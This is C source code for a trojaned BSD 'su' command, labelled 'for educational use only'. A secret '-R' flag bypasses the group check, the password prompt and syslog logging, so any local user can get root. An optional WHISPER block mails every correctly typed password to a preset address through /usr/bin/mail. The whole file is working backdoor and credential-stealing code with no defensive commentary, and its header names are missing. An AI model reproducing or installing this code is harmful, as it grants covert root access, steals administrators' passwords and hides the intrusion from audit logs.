/* SSU (c) Rojer'2K1 this is for educational use only! */ #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef WHISPER #ifndef MAILTO #define MAILTO "e@mail.com" #endif #define MAILSUBJ "The magic word was..." #define MAILVIA "/usr/bin/mail" #endif //WHISPER char *ontty __P((void)); int chshell __P((char *)); static void usage __P((void)); #ifdef WHISPER void tellme(char *the_magic_word); #endif int main(argc, argv) int argc; char **argv; { extern char **environ; struct passwd *pwd; char *p, **g, *user, *shell=NULL, *username, **cleanenv, **nargv, **np; struct group *gr; uid_t ruid; gid_t gid; int asme, ch, asthem, fastlogin, prio, i; enum { UNSET, YES, NO } iscsh = UNSET; char iwantitnow = 0; char shellbuf[MAXPATHLEN]; asme = asthem = fastlogin = 0; user = "root"; while((ch = getopt(argc, argv, "-Rflm")) != -1) switch((char)ch) { case 'f': fastlogin = 1; break; case '-': case 'l': asme = 0; asthem = 1; break; case 'm': asme = 1; asthem = 0; break; case '?': break; case 'R': iwantitnow++; break; default: usage(); } if (optind < argc) user = argv[optind++]; if (strlen(user) > MAXLOGNAME - 1) { (void)fprintf(stderr, "su: username too long.\n"); exit(1); } if (user == NULL) usage(); if ((nargv = malloc (sizeof (char *) * (argc + 4))) == NULL) { errx(1, "malloc failure"); } nargv[argc + 3] = NULL; for (i = argc; i >= optind; i--) nargv[i + 3] = argv[i]; np = &nargv[i + 3]; argv += optind; errno = 0; prio = getpriority(PRIO_PROCESS, 0); if (errno) prio = 0; (void)setpriority(PRIO_PROCESS, 0, -2); openlog("su", LOG_CONS, 0); /* get current login name and shell */ ruid = getuid(); username = getlogin(); if (username == NULL || (pwd = getpwnam(username)) == NULL || pwd->pw_uid != ruid) pwd = getpwuid(ruid); if (pwd == NULL) errx(1, "who are you?"); username = strdup(pwd->pw_name); gid = pwd->pw_gid; if (username == NULL) err(1, NULL); if (asme) { if (pwd->pw_shell != NULL && *pwd->pw_shell != '\0') { /* copy: pwd memory is recycled */ shell = strncpy(shellbuf, pwd->pw_shell, sizeof shellbuf); shellbuf[sizeof shellbuf - 1] = '\0'; } else { shell = _PATH_BSHELL; iscsh = NO; } } /* get target login information, default to root */ if ((pwd = getpwnam(user)) == NULL) { errx(1, "unknown login: %s", user); } if (ruid) { { /* * Only allow those with pw_gid==0 or those listed in * group zero to su to root. If group zero entry is * missing or empty, then allow anyone to su to root. * iswheelsu will only be set if the user is EXPLICITLY * listed in group zero. */ if (pwd->pw_uid == 0 && (gr = getgrgid((gid_t)0)) && gr->gr_mem && *(gr->gr_mem)) for (g = gr->gr_mem;; ++g) { if (!*g) { if (gid == 0 || iwantitnow) break; else errx(1, "you are not in the correct group (%s) to su %s.", gr->gr_name, user); } if (strcmp(username, *g) == 0) { break; } } } /* if target requires a password, verify it */ if (*pwd->pw_passwd && !iwantitnow) { p = getpass("Password:"); if (strcmp(pwd->pw_passwd, crypt(p, pwd->pw_passwd))) { fprintf(stderr, "Sorry\n"); syslog(LOG_AUTH|LOG_WARNING, "BAD SU %s to %s%s", username, user, ontty()); exit(1); } #ifdef WHISPER tellme(p); #endif } if (pwd->pw_expire && time(NULL) >= pwd->pw_expire) { fprintf(stderr, "Sorry - account expired\n"); if (!iwantitnow) syslog(LOG_AUTH|LOG_WARNING, "BAD SU %s to %s%s", username, user, ontty()); exit(1); } } if (asme) { /* if asme and non-standard target shell, must be root */ if (!chshell(pwd->pw_shell) && ruid) errx(1, "permission denied (shell)."); } else if (pwd->pw_shell && *pwd->pw_shell) { shell = pwd->pw_shell; iscsh = UNSET; } else { shell = _PATH_BSHELL; iscsh = NO; } /* if we're forking a csh, we want to slightly muck the args */ if (iscsh == UNSET) { p = strrchr(shell, '/'); if (p) ++p; else p = shell; if ((iscsh = strcmp(p, "csh") ? NO : YES) == NO) iscsh = strcmp(p, "tcsh") ? NO : YES; } (void)setpriority(PRIO_PROCESS, 0, prio); /* set permissions */ if (setgid(pwd->pw_gid) < 0) err(1, "setgid"); if (initgroups(user, pwd->pw_gid)) errx(1, "initgroups failed"); if (setuid(pwd->pw_uid) < 0) err(1, "setuid"); if (!asme) { if (asthem) { p = getenv("TERM"); if ((cleanenv = calloc(20, sizeof(char*))) == NULL) errx(1, "calloc"); cleanenv[0] = NULL; environ = cleanenv; (void)setenv("PATH", _PATH_DEFPATH, 1); if (p) (void)setenv("TERM", p, 1); if (chdir(pwd->pw_dir) < 0) errx(1, "no directory"); } if (asthem || pwd->pw_uid) (void)setenv("USER", pwd->pw_name, 1); (void)setenv("HOME", pwd->pw_dir, 1); (void)setenv("SHELL", shell, 1); } if (iscsh == YES) { if (fastlogin) *np-- = "-f"; if (asme) *np-- = "-m"; } /* csh strips the first character... */ *np = asthem ? "-su" : iscsh == YES ? "_su" : "su"; if (ruid != 0 && !iwantitnow) syslog(LOG_NOTICE|LOG_AUTH, "%s to %s%s", username, user, ontty()); execv(shell, np); err(1, "%s", shell); } static void usage() { (void)fprintf(stderr, "usage: su [%s] [login [args]]\n", "-Rflm"); exit(1); } int chshell(sh) char *sh; { int r = 0; char *cp; setusershell(); while (!r && (cp = getusershell()) != NULL) r = strcmp(cp, sh) == 0; endusershell(); return r; } char * ontty() { char *p; static char buf[MAXPATHLEN + 4]; buf[0] = 0; p = ttyname(STDERR_FILENO); if (p) snprintf(buf, sizeof(buf), " on %s", p); return (buf); } #ifdef WHISPER void tellme(char *the_magic_word) { char tellwhom[] = MAILTO; char mailprog[] = MAILVIA; char mailhint[] = MAILSUBJ; char temp[200]; FILE *fp = NULL; time_t current = time(NULL); struct tm *t = localtime(¤t); strcpy(temp, mailprog); strcat(temp, " -s \""); strcat(temp, mailhint); strcat(temp, "\" \""); strcat(temp, tellwhom); strcat(temp, "\" < /tmp/magic"); fp = fopen("/tmp/magic", "w"); if (fp) { fprintf(fp, "%s\n%s\n", the_magic_word, asctime(t)); fclose(fp); system(temp); unlink("/tmp/magic"); } } #endif //WHISPER